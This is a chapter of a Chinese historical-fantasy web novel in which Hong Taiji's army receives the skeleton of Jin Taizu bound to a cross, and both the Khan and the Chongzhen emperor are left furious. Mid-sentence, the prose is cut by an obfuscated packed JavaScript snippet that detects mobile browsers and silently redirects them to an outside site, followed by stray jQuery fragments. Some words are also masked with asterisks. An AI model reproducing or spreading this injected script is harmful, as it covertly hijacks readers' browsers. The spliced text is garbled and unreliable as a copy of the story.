第111章 黄台吉快要气疯了

作品:《植物大战黄台吉

    这突如其来的举动,让神经紧绷的后金兵们下意识地做出了反应。


    前排不少弓手立刻张弓搭箭,锋利的箭镞对准了冲来的几人一车。


    “别放箭!看看他们要干什么!”


    黄台吉那张阴沉的胖脸都快滴出了水来,他让传令兵喝止了蠢蠢欲动的部队。


    他死死盯着那辆越来越近的大车,


    尤其是车上那个绑着东西的十字架,心里惊疑不定到了极点。


    这帮人到底在玩什么把戏?


    送“祖宗”的骨头?就这么推过来?有诈?还是纯粹的羞辱?


    赵铁柱三人推着车,冲到距离后金军阵前沿约莫一箭之地的地方就停下了。


    这里已经是弓箭的有效杀伤边缘,再近就真成靶子了。


    “就这儿了!扔下!走!”


    赵铁柱低喝一声,三人合力把大车往前一推,


    让车借着惯性又往前滑了几步,然后看也不看,


    掉头就往回跑,撒丫子狂奔,比来时还快。


    窦尔敦则端着**停在原地,枪口微微移动,


    扫视着对面那些虎视眈眈的后**手和骑兵,手指搭在**护圈上,


    那架势分明在说:敢动,老子就请你们吃铁花生米!


    后金兵们看着那三个推车的家伙丢下车就跑,


    又看看那个端着凶恶铁家伙断后的黑大汉,以及车上那个古怪的十字架,


    一时都有些懵,没人敢贸然放箭,也没人上前。


    黄台吉脸色铁青,从身边侍卫手里夺过一个千里镜,


    举到眼前,对准了那辆被丢弃的大车,以及车上绑着的东西。


    镜头拉近。


    一个简陋的木头十字架。


    十字架上,用麻绳捆着一副完整的人体骸骨。


    骸骨上套着一副依稀能看出形状的残破皮甲,上面缀着的铁叶子锈蚀严重。


    骷髅头上戴着一顶样式古朴的铁盔,同样锈迹斑斑。


    那皮甲的形制……那铁盔的样式……


    黄台吉的瞳孔开始剧烈的收缩。


    他是熟读过金朝历史的。


    为了这次祭祀,他更是特意让范文程等人找来前朝典籍和图样,


    仔细了解过金朝早期的甲胄兵器形制。


    眼前这骸骨上的甲胄头盔……虽然残破,但那独特的连缀方式,


    那护颈的样式……分明就是早期女真贵族武将的制式!


    甚至……可能更古老,更接近立国之初!


    一个可怕到荒谬绝伦的念头,不受控制的钻进了他的脑海里。


    难道……难道这真是……?


    不!不可能!


    这帮不知道哪里冒出来的混蛋,怎么可能找到……


    可是……那甲胄,那头盔……还有他们喊的“完颜阿骨打”……


    联想到自己不久前刚刚在房山隆重祭祀,当众认祖……


    黄台吉握着千里镜的手开始不由自主地颤抖起来,


    不是恐惧,是极致的愤怒和一种被当众扒光衣服般的羞辱感。


    他现在全明白了。


    这帮人根本就不是来打仗的,至少不完全是。


    他们是来捣乱的!


    是来给他上眼药的!


    是来当着双方数万大军,当着北京城头那个小皇帝和满朝文武的面,啪啪打他脸的!


    他们真把金太祖的骸骨给刨了出来,还他妈绑在十字架上,


    像对待受刑的囚犯一样,就这么扔到他大军阵前!


    最恶心的是,他还不能不接!


    他刚刚大张旗鼓地祭祀,宣称自己是金朝正统继承者。


    现在“祖宗”的骨头被人扔到面前,他若是不认,不敢收,


    那之前所有的**作秀就成了天大的笑话,威信扫地!


    可若是认了,收了……这奇耻大辱,简直比杀了他还难受!


    黄台吉只觉得一股腥甜涌上喉咙,又被他强行咽了下去。


    他脸色铁青,牙关咬得咯吱作响,胸膛剧烈起伏,


    半晌,才从牙缝里挤出几个字,声音嘶哑变形:


    “去……去几个人……把……把车拉过来。


    小心检查,有无机关……然后,好生……看管。


    待朕击败明军,再……再好生安葬……”


    最后几个字,他说得无比艰难,每一个字都像沾着血。


    命令传下,一队后金兵猫着腰小心翼翼地靠近那辆大车。


    他们先是用长矛远远捅了捅车板和十字架,又围着转了几圈,


    确认没有陷阱**物,这才分出几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221829|197432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,警惕地推着大车,缓缓向本阵退回。


    整个过程,窦尔敦一直用**指着他们,直到大车被推走后,


    他才冷哼一声,抱着**,不紧不慢地退回了土梁棱线后面。


    后金军阵中,弥漫着一股诡异的沉默。


    许多士兵,尤其是那些知道大汗祭祀之事的将领,脸色都很难看。


    这口暗亏,吃得憋屈,却又不得不咽下去。


    永定门城头,崇祯通过千里镜把这一幕看得清清楚楚。


    他看见那伙狂徒推车出来,看见建奴紧张戒备,


    最后看见建奴真的把那辆载着十字架骷髅的车拉了回去!


    “混账!混账东西!”


    崇祯气得浑身发抖,一把将千里镜摔在地上,镜筒碎裂,


    “那狂徒……那狂徒竟然真是给鞑酋送祖先遗骸的?!


    他……他到底是何方妖人!


    是助纣为虐,还是……还是故意折辱于朕?!”


    “陛下息怒!”


    周延儒赶紧劝道,


    “此等狂悖之徒,行事荒诞,必是妖人无疑!


    待战后,定要查明严惩!”


    “严惩?现在谁能去惩?”


    温体仁苦笑,


    “此獠明显是冲着建奴去的,只是……手段太过,有辱斯文,有失国体啊!”


    城头上,不少大臣也对着土梁方向指指点点,骂声一片。


    骂王炸是“妖人”、“狂徒”、“不通礼数的山野匹夫”,


    竟然用如此侮辱性的方式处理前朝帝王遗骸,还当着皇上的面,简直是大逆不道。


    战场中央,那荒诞的插曲似乎结束了。


    但空气中弥漫的硝烟味里,似乎又混入了一种更复杂、更令人窒息的东西。


    黄台吉的胸口还在剧烈起伏,他转过头用血红的眼睛锁定明军大阵,


    所有的羞愤和杀意,此刻全部转化为了对眼前敌人的毁灭欲望。


    “杀——”


    他拔出腰刀,向前狠狠一挥,


    “给朕杀光他们!一个不留!!”


    凄厉的号角再次撕裂长空,后金大军在经历短暂的混乱和羞辱后,


    如同受伤的野兽,发出了更加狂暴的咆哮,朝着明军残余的阵地,再次猛扑过去!